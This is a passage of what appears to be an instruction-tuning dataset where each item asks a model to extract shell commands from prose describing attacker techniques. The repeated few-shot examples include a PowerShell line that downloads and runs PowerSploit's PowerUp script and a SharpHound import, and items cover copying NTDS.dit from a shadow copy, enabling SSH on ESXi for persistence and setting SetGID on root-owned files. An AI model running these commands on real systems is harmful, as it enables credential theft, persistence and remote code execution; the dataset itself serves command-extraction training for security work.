structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set the SetGID flag on a file in Linux and macOS, use the following commands: sudo touch #{file_to_setuid}\nsudo chown root #{file_to_setuid}\nsudo chmod g+xs #{file_to_setuid}\n; In FreeBSD, you can configure a file with the SetGID flag by executing this sequence: touch #{file_to_setuid}\nchown root #{file_to_setuid}\nchmod g+xs #{file_to_setuid}\n",
    "output": "{\"command_list\": [\"sudo touch #{file_to_setuid}\\nsudo chown root #{file_to_setuid}\\nsudo chmod g+xs #{file_to_setuid}\\n\", \"touch #{file_to_setuid}\\nchown root #{file_to_setuid}\\nchmod g+xs #{file_to_setuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A ping sweep can be executed to discover remote systems by running this command, where cmd.exe will loop through the specified subnet range: for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i; To identify remote systems, you can use the following command: arp -a",
    "output": "{\"command_list\": [\"for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i  \\n\", \"arp -a\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The NTDS.dit file can be extracted from a Volume Shadow Copy by executing this command on a remote workstation with domain admin context: wmic /node:\"#{target_host}\" process call create \"cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}\"\n; For domain controllers, you may create a Volume Shadow Copy to access the NTDS.dit database with the command: (gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{target_host}\\\" process call create \\\"cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}\\\"\\n\", \"(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The installed antivirus products on a system can be discovered via PowerShell with the following commands: powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\npowershell Get-WmiObject -Namespace root\\securitycenter2 -Class antivirusproduct\n; To enumerate Windows Defender information using native tools, run the following commands: Get-Service WinDefend #check the service state of Windows Defender\nGet-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc\nGet-MpThreat #threats details that have been detected using MS Defender\n",
    "output": "{\"command_list\": [\"powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\\npowershell Get-WmiObject -Namespace root\\\\securitycenter2 -Class antivirusproduct\\n\", \"Get-Service WinDefend #check the service state of Windows Defender\\nGet-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc\\nGet-MpThreat #threats details that have been detected using MS Defender\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the current password policy settings on CentOS/RHEL 6.x, use the command sequence: cat /etc/pam.d/system-auth\ncat /etc/security/pwquality.conf; To view the password expiration policy on CentOS, RHEL, or Ubuntu systems, use the following command: cat /etc/login.defs",
    "output": "{\"command_list\": [\"cat /etc/pam.d/system-auth\\ncat /etc/security/pwquality.conf\\n\", \"cat /etc/login.defs\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To maintain persistent access to an ESXi host, an adversary can enable the SSH service by running the following commands: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq \"TSM-SSH\" } | Start-VMHostService -Confirm:$false; An adversary establishes another command execution interface by enabling SSH on the ESXi host with this command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"vim-cmd hostsvc/enable_ssh\"",
    "output": "{\"command_list\": [\"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \\nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\\nGet-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq \\\"TSM-SSH\\\" } | Start-VMHostService -Confirm:$false\\n\", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"vim-cmd hostsvc/enable_ssh\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the UFW configuration file and verify the changes, use the following command: echo \"# THIS IS A COMMENT\" >> /etc/default/ufw\ngrep \"# THIS IS A COMMENT\" /etc/default/ufw; To view the most recent entries in the UFW log file, use the following command: tail /var/log/ufw.log",
    "output": "{\"command_list\": [\"echo \\\"# THIS IS A COMMENT\\\" >> /etc/default/ufw\\ngrep \\\"# THIS IS A COMMENT\\\" /etc/default/ufw\\n\", \"tail /var/log/ufw.log\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 